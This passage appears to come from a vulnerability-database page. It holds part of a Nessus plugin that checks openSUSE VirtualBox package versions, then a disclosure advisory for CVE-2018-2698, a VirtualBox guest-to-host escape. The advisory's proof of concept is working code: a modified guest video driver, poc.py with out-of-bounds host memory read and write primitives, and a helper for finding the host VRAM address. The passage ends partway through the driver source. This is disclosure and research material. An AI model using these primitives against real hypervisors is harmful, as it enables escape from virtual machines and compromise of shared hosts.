        value:"https://bugzilla.opensuse.org/show_bug.cgi?id=1039375"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://bugzilla.opensuse.org/show_bug.cgi?id=1076372"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://bugzilla.opensuse.org/show_bug.cgi?id=1079838"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://bugzilla.opensuse.org/show_bug.cgi?id=1093731"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://bugzilla.opensuse.org/show_bug.cgi?id=1097248"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://bugzilla.opensuse.org/show_bug.cgi?id=1098050"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://bugzilla.opensuse.org/show_bug.cgi?id=1101667"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://www.virtualbox.org/wiki/Changelog#v16"
      );
      script_set_attribute(
        attribute:"solution", 
        value:"Update the affected kbuild / virtualbox packages."
      );
      script_set_cvss_base_vector("CVSS2#AV:L/AC:M/Au:N/C:C/I:N/A:N");
      script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:O/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"exploit_framework_core", value:"true");
      script_set_attribute(attribute:"exploited_by_malware", value:"true");
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:kbuild");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:kbuild-debuginfo");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:kbuild-debugsource");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:python-virtualbox");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:python-virtualbox-debuginfo");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-debuginfo");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-debugsource");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-devel");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-guest-desktop-icons");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-guest-kmp-default");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-guest-kmp-default-debuginfo");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-guest-source");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-guest-tools");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-guest-tools-debuginfo");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-guest-x11");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-guest-x11-debuginfo");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-host-kmp-default");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-host-kmp-default-debuginfo");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-host-source");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-qt");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-qt-debuginfo");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-vnc");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-websrv");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:virtualbox-websrv-debuginfo");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:novell:opensuse:42.3");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2018/01/04");
      script_set_attribute(attribute:"patch_publication_date", value:"2018/08/26");
      script_set_attribute(attribute:"plugin_publication_date", value:"2018/08/28");
      script_set_attribute(attribute:"in_the_news", value:"true");
      script_set_attribute(attribute:"generated_plugin", value:"current");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2018-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");
      script_family(english:"SuSE Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/SuSE/release", "Host/SuSE/rpm-list", "Host/cpu");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("global_settings.inc");
    include("rpm.inc");
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    release = get_kb_item("Host/SuSE/release");
    if (isnull(release) || release =~ "^(SLED|SLES)") audit(AUDIT_OS_NOT, "openSUSE");
    if (release !~ "^(SUSE42\.3)$") audit(AUDIT_OS_RELEASE_NOT, "openSUSE", "42.3", release);
    if (!get_kb_item("Host/SuSE/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    ourarch = get_kb_item("Host/cpu");
    if (!ourarch) audit(AUDIT_UNKNOWN_ARCH);
    if (ourarch !~ "^(i586|i686|x86_64)$") audit(AUDIT_ARCH_NOT, "i586 / i686 / x86_64", ourarch);
    
    flag = 0;
    
    if ( rpm_check(release:"SUSE42.3", reference:"kbuild-0.1.9998svn3110-4.3.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", reference:"kbuild-debuginfo-0.1.9998svn3110-4.3.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", reference:"kbuild-debugsource-0.1.9998svn3110-4.3.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", reference:"virtualbox-guest-desktop-icons-5.2.18-56.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", reference:"virtualbox-guest-source-5.2.18-56.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", reference:"virtualbox-host-source-5.2.18-56.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", cpu:"x86_64", reference:"python-virtualbox-5.2.18-56.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", cpu:"x86_64", reference:"python-virtualbox-debuginfo-5.2.18-56.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", cpu:"x86_64", reference:"virtualbox-5.2.18-56.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", cpu:"x86_64", reference:"virtualbox-debuginfo-5.2.18-56.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", cpu:"x86_64", reference:"virtualbox-debugsource-5.2.18-56.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", cpu:"x86_64", reference:"virtualbox-devel-5.2.18-56.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", cpu:"x86_64", reference:"virtualbox-guest-kmp-default-5.2.18_k4.4.143_65-56.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", cpu:"x86_64", reference:"virtualbox-guest-kmp-default-debuginfo-5.2.18_k4.4.143_65-56.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", cpu:"x86_64", reference:"virtualbox-guest-tools-5.2.18-56.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", cpu:"x86_64", reference:"virtualbox-guest-tools-debuginfo-5.2.18-56.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", cpu:"x86_64", reference:"virtualbox-guest-x11-5.2.18-56.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", cpu:"x86_64", reference:"virtualbox-guest-x11-debuginfo-5.2.18-56.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", cpu:"x86_64", reference:"virtualbox-host-kmp-default-5.2.18_k4.4.143_65-56.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", cpu:"x86_64", reference:"virtualbox-host-kmp-default-debuginfo-5.2.18_k4.4.143_65-56.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", cpu:"x86_64", reference:"virtualbox-qt-5.2.18-56.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", cpu:"x86_64", reference:"virtualbox-qt-debuginfo-5.2.18-56.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", cpu:"x86_64", reference:"virtualbox-vnc-5.2.18-56.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", cpu:"x86_64", reference:"virtualbox-websrv-5.2.18-56.1") ) flag++;
    if ( rpm_check(release:"SUSE42.3", cpu:"x86_64", reference:"virtualbox-websrv-debuginfo-5.2.18-56.1") ) flag++;
    
    if (flag)
    {
      if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());
      else security_warning(0);
      exit(0);
    }
    else
    {
      tested = pkg_tests_get();
      if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
      else audit(AUDIT_PACKAGE_NOT_INSTALLED, "kbuild / kbuild-debuginfo / kbuild-debugsource / python-virtualbox / etc");
    }
    

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/146065/oraclevb-guesttohostescape.txt
idPACKETSTORM:146065
last seen2018-01-25
published2018-01-24
reporterNiklas Baumstark
sourcehttps://packetstormsecurity.com/files/146065/Oracle-VirtualBox-Guest-To-Host-Escape.html
titleOracle VirtualBox Guest To Host Escape

Seebug

bulletinFamilyexploit
description### Vulnerabilities summary The following advisory describes two (2) guest to host escape found in Oracle VirtualBox version 5.1.30, and VirtualBox version 5.2-rc1. ### Credit An independent security researcher, Niklas Baumstark, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program. ### Vendor response Oracle were informed of the vulnerabilities and released patches to address them. For more details: http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html CVE: CVE-2018-2698 ### Vulnerabilities details The vulnerabilities found in the core graphics framework (VBVA subcomponent) and affect all host operating systems. provide an arbitrary read/write primitive in the userland VirtualBox host rocess, relative to the guest’s VRAM buffer. The VGA device emulated by VirtualBox is associated with a certain amount of VRAM, which is mapped contiguously in both the host process running the VM and in guest kernel memory. Parts of it are used as general-purpose shared memory segment for communication between the host and guest (host-guest shared memory interface, HGSMI). Using this mechanism, the guest can issue certain commands to the host, for example to implement the mouse pointer integration and seamless windows features. The guest can also tell the host to copy data around inside the VRAM on its behalf, via a subsystem called VDMA. Out-of-bounds read/write in vboxVDMACmdExecBpbTransfer The VBOXVDMACMD_DMA_BPB_TRANSFER command struct looks as follows (defined in include/VBox/VBoxVideo.h:1435): ``` typedef struct VBOXVDMACMD_DMA_BPB_TRANSFER { uint32_t cbTransferSize; uint32_t fFlags; union { uint64_t phBuf; VBOXVIDEOOFFSET offVramBuf; } Src; union { uint64_t phBuf; VBOXVIDEOOFFSET offVramBuf; } Dst; } VBOXVDMACMD_DMA_BPB_TRANSFER, *PVBOXVDMACMD_DMA_BPB_TRANSFER; ``` When issuing a VDMA command of type VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER, a request object of this type resides in the HGSMI heap and is completely controlled by the guest. On the host, a pointer to the object is eventually passed to the following function inside the file src/VBox/Devices/Graphics/DevVGA_VDMA.cpp: ``` static int vboxVDMACmdExecBpbTransfer(PVBOXVDMAHOST pVdma, const PVBOXVDMACMD_DMA_BPB_TRANSFER pTransfer, uint32_t cbBuffer) { // ... uint32_t cbTransfer = pTransfer->cbTransferSize; uint32_t cbTransfered = 0; // ... do { uint32_t cbSubTransfer = cbTransfer; if (pTransfer->fFlags & VBOXVDMACMD_DMA_BPB_TRANSFER_F_SRC_VRAMOFFSET) { // [[ Note 1 ]] pvSrc = pvRam + pTransfer->Src.offVramBuf + cbTransfered; } else { // ... } if (pTransfer->fFlags & VBOXVDMACMD_DMA_BPB_TRANSFER_F_DST_VRAMOFFSET) { // [[ Note 2 ]] pvDst = pvRam + pTransfer->Dst.offVramBuf + cbTransfered; } else { // ... } if (RT_SUCCESS(rc)) { memcpy(pvDst, pvSrc, cbSubTransfer); cbTransfer -= cbSubTransfer; cbTransfered += cbSubTransfer; } else { cbTransfer = 0; /* to break */ } // ... } while (cbTransfer); if (RT_SUCCESS(rc)) return sizeof (*pTransfer); return rc; } ``` Note 1 and 2: the guest-controlled offsets pTransfer->Src.offVramBuf and pTransfer->Dst.offVramBuf are added to the VRAM address, without any verification or bounds checks. A memcpy is then performed with the guest-controlled size pTransfer->cbTransferSize. This gives us a memcpy(VRAM + X, VRAM + Y, Z) primitive, where we (as the guest)can chose X, Y and Z arbitrarily. Out-of-bounds read/write in vboxVDMACmdExecBlt The VBOXVDMACMD_DMA_PRESENT_BLT command struct looks as follows: ``` typedef uint64_t VBOXVIDEOOFFSET; /* [...] */ typedef struct VBOXVDMACMD_DMA_PRESENT_BLT { VBOXVIDEOOFFSET offSrc; VBOXVIDEOOFFSET offDst; VBOXVDMA_SURF_DESC srcDesc; VBOXVDMA_SURF_DESC dstDesc; VBOXVDMA_RECTL srcRectl; VBOXVDMA_RECTL dstRectl; uint32_t u32Reserved; uint32_t cDstSubRects; VBOXVDMA_RECTL aDstSubRects[1]; } VBOXVDMACMD_DMA_PRESENT_BLT, *PVBOXVDMACMD_DMA_PRESENT_BLT; ``` When issuing a VDMA command of type VBOXVDMACMD_TYPE_DMA_PRESENT_BLT, a request object of this type resides in the HGSMI heap and is completely controlled by the guest. On the host, a pointer to the object is eventually passed to the following function inside the file src/VBox/Devices/Graphics/DevVGA_VDMA.cpp: ``` static int vboxVDMACmdExecBlt(PVBOXVDMAHOST pVdma, const PVBOXVDMACMD_DMA_PRESENT_BLT pBlt, uint32_t cbBuffer) { const uint32_t cbBlt = VBOXVDMACMD_BODY_FIELD_OFFSET(uint32_t, VBOXVDMACMD_DMA_PRESENT_BLT, aDstSubRects[pBlt->cDstSubRects]); Assert(cbBlt <= cbBuffer); if (cbBuffer < cbBlt) return VERR_INVALID_FUNCTION; /* we do not support stretching for now */ Assert(pBlt->srcRectl.width == pBlt->dstRectl.width); Assert(pBlt->srcRectl.height == pBlt->dstRectl.height); if (pBlt->srcRectl.width != pBlt->dstRectl.width) return VERR_INVALID_FUNCTION; if (pBlt->srcRectl.height != pBlt->dstRectl.height) return VERR_INVALID_FUNCTION; Assert(pBlt->cDstSubRects); /* [[ Note 2 ]] */ uint8_t * pvRam = pVdma->pVGAState->vram_ptrR3; VBOXVDMA_RECTL updateRectl = {0, 0, 0, 0}; if (pBlt->cDstSubRects) { /* [...] */ } else { /* [[ Note 1 ]] */ int rc = vboxVDMACmdExecBltPerform(pVdma, pvRam + pBlt->offDst, pvRam + pBlt->offSrc, &pBlt->dstDesc, &pBlt->srcDesc, &pBlt->dstRectl, &pBlt->srcRectl); AssertRC(rc); if (!RT_SUCCESS(rc)) return rc; vboxVDMARectlUnite(&updateRectl, &pBlt->dstRectl); } return cbBlt; } ``` At Note 1, the guest-controlled offsets pBlt->offDst and pBlt->offSrc I added to the VRAM address, without any verification. Note that the assert at Note 2 is not active in production builds, so we can reach the else-branch. vboxVDMACmdExecBltPerform then performs a memcpy between the computed addresses: ``` static int vboxVDMACmdExecBltPerform(PVBOXVDMAHOST pVdma, uint8_t *pvDstSurf, const uint8_t *pvSrcSurf, const PVBOXVDMA_SURF_DESC pDstDesc, const PVBOXVDMA_SURF_DESC pSrcDesc, const VBOXVDMA_RECTL * pDstRectl, const VBOXVDMA_RECTL * pSrcRectl) { /* [...] /* if (pDstDesc->width == pDstRectl->width && pSrcDesc->width == pSrcRectl->width && pSrcDesc->width == pDstDesc->width) { Assert(!pDstRectl->left); Assert(!pSrcRectl->left); uint32_t cbOff = pDstDesc->pitch * pDstRectl->top; uint32_t cbSize = pDstDesc->pitch * pDstRectl->height; memcpy(pvDstSurf + cbOff, pvSrcSurf + cbOff, cbSize); } else { /* [...] /* } return VINF_SUCCESS; } ``` By setting pDstDesc->pitch = 1, pDstRectl->top = 0, we can get cbOff = 0 and cbSize = pDstRectl->height (which we also control as the guest). This ends up in a call to memcpy(VRAM + X, VRAM + Y, Z), where we can chose X, Y and Z arbitrarily. ### Proof of Concept We will modified vboxvideo kernel module to trigger the bug. The modified module will allow us to creates a device /dev/vboxpwn which can be used to send arbitrary VBVA commands via its ioctl() handler. In this PoC we will use 64-bit Ubuntu VM. First we will download the VBoxGuestAdditions: ``` $ wget http://download.virtualbox.org/virtualbox/5.1.30/VBoxGuestAdditions_5.1.30.iso $ sudo mount -o loop -t iso9660 VBoxGuestAdditions_5.1.30.iso /mnt $ sudo /mnt/VBoxLinuxAdditions.run ``` Then we will upload the modified files – HGSMIBase.c and 70-vboxpwn.rules to the home directory of the VM and rebuild the extensions with the modified code: ``` $ sudo cp 70-vboxpwn.rules /etc/udev/rules.d $ sudo cp HGSMIBase.c /usr/src/vboxguest-5.1.30/vboxvideo $ sudo /mnt/VBoxLinuxAdditions.run --keep --target additions --noexec $ sudo additions/vboxadd setup $ sudo reboot ``` There should now be a new device called /dev/vboxpwn with 0666 permissions. Now create the following Python script called poc.py: ``` import os, fcntl, struct, array, sys fd = os.open('/dev/vboxpwn', os.O_NONBLOCK | os.O_RDWR) # 4/5 = BPB_TRANSFER primitive, 1/2 = PRESENT_BLT primitive read_type = 4 write_type = 5 def read(offset, size): data = '' data += struct.pack("<IIq", 4, size, offset) data += '\0'*size data = array.array('b', data) fcntl.ioctl(fd, len(data), data, 1) return data[16:] def write(offset, payload): data = '' data += struct.pack("<IIq", 5, len(payload), offset) data += payload fcntl.ioctl(fd, len(data), data) def get_vram_size(): data = '' data += struct.pack("<IIq", 6, 0, 0) data += '\0'*4 data = array.array('b', data) fcntl.ioctl(fd, len(data), data) return struct.unpack('<I', data[16:])[0] vram_sz = get_vram_size() import code code.interact(local=locals()) ``` If we will run it on a Linux host we will get the following: ``` $ python2 poc.py [...] >>> read(0, 0x10).tostring() 'U,\\fU,\\fU,\\fU,\\f' >>> read(vram_sz, 0x10).tostring() '\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00' >>> read(-0x1000, 0x10).tostring() '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' ``` The second read returns the header of the shared library mapped directly after the VRAM. Of course we might crash the VM if we hit unmapped memory. For demonstrating an absolute read/write, we need the VRAM base address on the host. The findvram.py script find the VRAM base address – given the configured VRAM size. In our case the VRAM is 33 MiB large. The first argument is the PID of the host process (as shown above). Also grab some absolute address you want to leak: ``` $ sudo python2 findvram.py 23791 33 VRAM @ 0x00007f1651c75000 $ sudo cat /proc/23791/maps | grep libcurl | head -n 1 7f168969c000-7f1689716000 r-xp 00000000 00:15 9032634 /usr/lib/libcurl.so.4.4.0 ``` Back to the VM, we will read the ELF header of this library: ``` $ python2 poc.py [...] >>> vram = 0x00007f1651c75000 >>> read(0x7f168969c000 - vram, 0x10).tostring() '\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00' ``` And now we will crash it by writing data to an unmapped address (make sure a debugger is attached): ``` >>> write(0x414141414141 - vram, 'BBBB') ``` The crash: ``` Thread 7 "EMT" received signal SIGSEGV, Segmentation fault. [Switching to Thread 0x7f1680b8e700 (LWP 23801)] 0x00007f168a87172a in __memmove_avx_unaligned_erms () from /usr/lib/libc.so.6 (gdb) x/1i $rip => 0x7f168a87172a <__memmove_avx_unaligned_erms+154>: mov %ecx,-0x4(%rdi,%rdx,1) (gdb) i r ecx rdi rdx ecx 0x42424242 1111638594 rdi 0x414141414141 71748523475265 rdx 0x4 4 ``` findvram.py ``` import sys if len(sys.argv) != 3: print 'Usage: sudo python2 findvram.py <pid> <VRAM size in MB>' print print 'Finds the VRAM page on a Linux host by inspecting /proc/<pid>/maps and ' print 'looking for a properly sized map. Works best if an odd amount of VRAM is' print 'configured, like 33 MB instead of 32.' exit() pid = int(sys.argv[1]) sz = int(sys.argv[2])*1024*1024 with open('/proc/%d/maps'%pid) as f: for line in f: start, end = [int(x,16) for x in line.split()[0].split('-')] if end-start == sz: print 'VRAM @ 0x%016x - 0x%016x' % (start, end) ``` 70-vboxpwn.rules ``` KERNEL=="vboxpwn", NAME="vboxpwn", OWNER="vboxadd", MODE="0666" ``` HGSMIBase.c ``` /* $Id: HGSMIBase.cpp $ */ /** @file * VirtualBox Video driver, common code - HGSMI initialisation and helper * functions. */ /* * Copyright (C) 2006-2016 Oracle Corporation * * This file is part of VirtualBox Open Source Edition (OSE), as * available from http://www.virtualbox.org. This file is free software; * you can redistribute it and/or modify it under the terms of the GNU * General Public License (GPL) as published by the Free Software * Foundation, in version 2 as it comes in the "COPYING" file of the * VirtualBox OSE distribution. VirtualBox OSE is distributed in the * hope that it will be useful, but WITHOUT ANY WARRANTY of any kind. */ #include <VBox/VBoxVideoGuest.h> #include <VBox/VBoxVideo.h> #include <VBox/VBoxGuest.h> #include <VBox/Hardware/VBoxVideoVBE.h> #include <VBox/VMMDev.h> #include <iprt/asm.h> #include <iprt/log.h> #include <iprt/string.h> #include <linux/printk.h> #include <linux/miscdevice.h> #include <linux/uaccess.h> #include <linux/slab.h> /** Send completion notification to the host for the command located at offset * @a offt into the host command buffer. */ static void HGSMINotifyHostCmdComplete(PHGSMIHOSTCOMMANDCONTEXT pCtx, HGSMIOFFSET offt) { VBoxVideoCmnPortWriteUlong(pCtx->port, offt); } /** * Inform the host that a command has been handled. * * @param pCtx the context containing the heap to be used * @param pvMem pointer into the heap as mapped in @a pCtx to the command to * be completed */ DECLHIDDEN(void) VBoxHGSMIHostCmdComplete(PHGSMIHOSTCOMMANDCONTEXT pCtx, void *pvMem) { HGSMIBUFFERHEADER *pHdr = HGSMIBufferHeaderFromData(pvMem); HGSMIOFFSET offMem = HGSMIPointerToOffset(&pCtx->areaCtx, pHdr); Assert(offMem != HGSMIOFFSET_VOID); if(offMem != HGSMIOFFSET_VOID) { HGSMINotifyHostCmdComplete(pCtx, offMem); } } /** Submit an incoming host command to the appropriate handler. */ static void hgsmiHostCmdProcess(PHGSMIHOSTCOMMANDCONTEXT pCtx, HGSMIOFFSET offBuffer) { int rc = HGSMIBufferProcess(&pCtx->areaCtx, &pCtx->channels, offBuffer); Assert(!RT_FAILURE(rc)); if(RT_FAILURE(rc)) { /* failure means the command was not submitted to the handler for some reason * it's our responsibility to notify its completion in this case */ HGSMINotifyHostCmdComplete(pCtx, offBuffer); } /* if the cmd succeeded it's responsibility of the callback to complete it */ } /** Get the next command from the host. */ static HGSMIOFFSET hgsmiGetHostBuffer(PHGSMIHOSTCOMMANDCONTEXT pCtx) { return VBoxVideoCmnPortReadUlong(pCtx->port); } /** Get and handle the next command from the host. */ static void hgsmiHostCommandQueryProcess(PHGSMIHOSTCOMMANDCONTEXT pCtx) { HGSMIOFFSET offset = hgsmiGetHostBuffer(pCtx); AssertReturnVoid(offset != HGSMIOFFSET_VOID); hgsmiHostCmdProcess(pCtx, offset); } /** Drain the host command queue. */ DECLHIDDEN(void) VBoxHGSMIProcessHostQueue(PHGSMIHOSTCOMMANDCONTEXT pCtx) { while (pCtx->pfHostFlags->u32HostFlags & HGSMIHOSTFLAGS_COMMANDS_PENDING) { if (!ASMAtomicCmpXchgBool(&pCtx->fHostCmdProcessing, true, false)) return; hgsmiHostCommandQueryProcess(pCtx); ASMAtomicWriteBool(&pCtx->fHostCmdProcessing, false); } } /** Detect whether HGSMI is supported by the host. */ DECLHIDDEN(bool) VBoxHGSMIIsSupported(void) { uint16_t DispiId; VBoxVideoCmnPortWriteUshort(VBE_DISPI_IOPORT_INDEX, VBE_DISPI_INDEX_ID); VBoxVideoCmnPortWriteUshort(VBE_DISPI_IOPORT_DATA, VBE_DISPI_ID_HGSMI); DispiId = VBoxVideoCmnPortReadUshort(VBE_DISPI_IOPORT_DATA); return (DispiId == VBE_DISPI_ID_HGSMI); } /** * Allocate and initialise a command descriptor in the guest heap for a * guest-to-host command. * * @returns pointer to the descriptor's command data buffer * @param pCtx the context containing the heap to be used * @param cbData the size of the command data to go into the descriptor * @param u8Ch the HGSMI channel to be used, set to the descriptor * @param u16Op the HGSMI command to be sent, set to the descriptor */ DECLHIDDEN(void *) VBoxHGSMIBufferAlloc(PHGSMIGUESTCOMMANDCONTEXT pCtx, HGSMISIZE cbData, uint8_t u8Ch, uint16_t u16Op) { #ifdef VBOX_WDDM_MINIPORT return VBoxSHGSMIHeapAlloc (&pCtx->heapCtx, cbData, u8Ch, u16Op); #else return HGSMIHeapAlloc (&pCtx->heapCtx, cbData, u8Ch, u16Op); #endif } /** * Free a descriptor allocated by @a VBoxHGSMIBufferAlloc. * * @param pCtx the context containing the heap used * @param pvBuffer the pointer returned by @a VBoxHGSMIBufferAlloc */ DECLHIDDEN(void) VBoxHGSMIBufferFree(PHGSMIGUESTCOMMANDCONTEXT pCtx, void *pvBuffer) { #ifdef VBOX_WDDM_MINIPORT VBoxSHGSMIHeapFree (&pCtx->heapCtx, pvBuffer); #else HGSMIHeapFree (&pCtx->heapCtx, pvBuffer); #endif } /** * Submit a command descriptor allocated by @a VBoxHGSMIBufferAlloc. * * @param pCtx the context containing the heap used * @param pvBuffer the pointer returned by @a VBoxHGSMIBufferAlloc */ DECLHIDDEN(int) VBoxHGSMIBufferSubmit(PHGSMIGUESTCOMMANDCONTEXT pCtx, void *pvBuffer) { /* Initialize the buffer and get the offset for port IO. */ HGSMIOFFSET offBuffer = HGSMIHeapBufferOffset (HGSMIGUESTCMDHEAP_GET(&pCtx->heapCtx), pvBuffer); Assert(offBuffer != HGSMIOFFSET_VOID); if (offBuffer != HGSMIOFFSET_VOID) { /* Submit the buffer to the host. */ VBoxVideoCmnPortWriteUlong(pCtx->port, offBuffer); /* Make the compiler aware that the host has changed memory. */ ASMCompilerBarrier(); return VINF_SUCCESS; } return VERR_INVALID_PARAMETER; } /** Inform the host of the location of the host flags in VRAM via an HGSMI * command. */ static int vboxHGSMIReportFlagsLocation(PHGSMIGUESTCOMMANDCONTEXT pCtx, HGSMIOFFSET offLocation) { HGSMIBUFFERLOCATION *p; int rc = VINF_SUCCESS; /* Allocate the IO buffer. */ p = (HGSMIBUFFERLOCATION *)VBoxHGSMIBufferAlloc(pCtx, sizeof(HGSMIBUFFERLOCATION), HGSMI_CH_HGSMI, HGSMI_CC_HOST_FLAGS_LOCATION); if (p) { /* Prepare data to be sent to the host. */ p->offLocation = offLocation; p->cbLocation = sizeof(HGSMIHOSTFLAGS); rc = VBoxHGSMIBufferSubmit(pCtx, p); /* Free the IO buffer. */ VBoxHGSMIBufferFree(pCtx, p); } else rc = VERR_NO_MEMORY; return rc; } /** * Inform the host of the location of the host flags in VRAM via an HGSMI * command. * @returns IPRT status value. * @returns VERR_NOT_IMPLEMENTED if the host does not support the command. * @returns VERR_NO_MEMORY if a heap allocation fails. * @param pCtx the context of the guest heap to use. * @param offLocation the offset chosen for the flags withing guest * VRAM. */ DECLHIDDEN(int) VBoxHGSMIReportFlagsLocation(PHGSMIGUESTCOMMANDCONTEXT pCtx, HGSMIOFFSET offLocation) { return vboxHGSMIReportFlagsLocation(pCtx, offLocation); } /** Notify the host of HGSMI-related guest capabilities via an HGSMI command. */ static int vboxHGSMISendCapsInfo(PHGSMIGUESTCOMMANDCONTEXT pCtx, uint32_t fCaps) { VBVACAPS *pCaps; int rc = VINF_SUCCESS; /* Allocate the IO buffer. */ pCaps = (VBVACAPS *)VBoxHGSMIBufferAlloc(pCtx, sizeof(VBVACAPS), HGSMI_CH_VBVA, VBVA_INFO_CAPS); if (pCaps) { /* Prepare data to be sent to the host. */ pCaps->rc = VERR_NOT_IMPLEMENTED; pCaps->fCaps = fCaps; rc = VBoxHGSMIBufferSubmit(pCtx, pCaps); if (RT_SUCCESS(rc)) { AssertRC(pCaps->rc); rc = pCaps->rc; } /* Free the IO buffer. */ VBoxHGSMIBufferFree(pCtx, pCaps); } else rc = VERR_NO_MEMORY; return rc; } /** * Notify the host of HGSMI-related guest capabilities via an HGSMI command. * @returns IPRT status value. * @returns VERR_NOT_IMPLEMENTED if the host does not support the command. * @returns VERR_NO_MEMORY if a heap allocation fails. * @param pCtx the context of the guest heap to use. * @param fCaps the capabilities to report, see VBVACAPS. */ DECLHIDDEN(int) VBoxHGSMISendCapsInfo(PHGSMIGUESTCOMMANDCONTEXT pCtx, uint32_t fCaps) { return vboxHGSMISendCapsInfo(pCtx, fCaps); } /** Tell the host about the location of the area of VRAM set aside for the host * heap. */ static int vboxHGSMIReportHostArea(PHGSMIGUESTCOMMANDCONTEXT pCtx, uint32_t u32AreaOffset, uint32_t u32AreaSize) { VBVAINFOHEAP *p; int rc = VINF_SUCCESS; /* Allocate the IO buffer. */ p = (VBVAINFOHEAP *)VBoxHGSMIBufferAlloc(pCtx, sizeof (VBVAINFOHEAP), HGSMI_CH_VBVA, VBVA_INFO_HEAP); if (p) { /* Prepare data to be sent to the host. */ p->u32HeapOffset = u32AreaOffset; p->u32HeapSize = u32AreaSize; rc = VBoxHGSMIBufferSubmit(pCtx, p); /* Free the IO buffer. */ VBoxHGSMIBufferFree(pCtx, p); } else rc = VERR_NO_MEMORY; return rc; } /** * Get the information needed to map the basic communication structures in * device memory into our address space. All pointer parameters are optional. * * @param cbVRAM how much video RAM is allocated to the device * @param poffVRAMBaseMapping where to save the offset from the start of the * device VRAM of the whole area to map * @param pcbMapping where to save the mapping size * @param poffGuestHeapMemory where to save the offset into the mapped area * of the guest heap backing memory * @param pcbGuestHeapMemory where to save the size of the guest heap * backing memory * 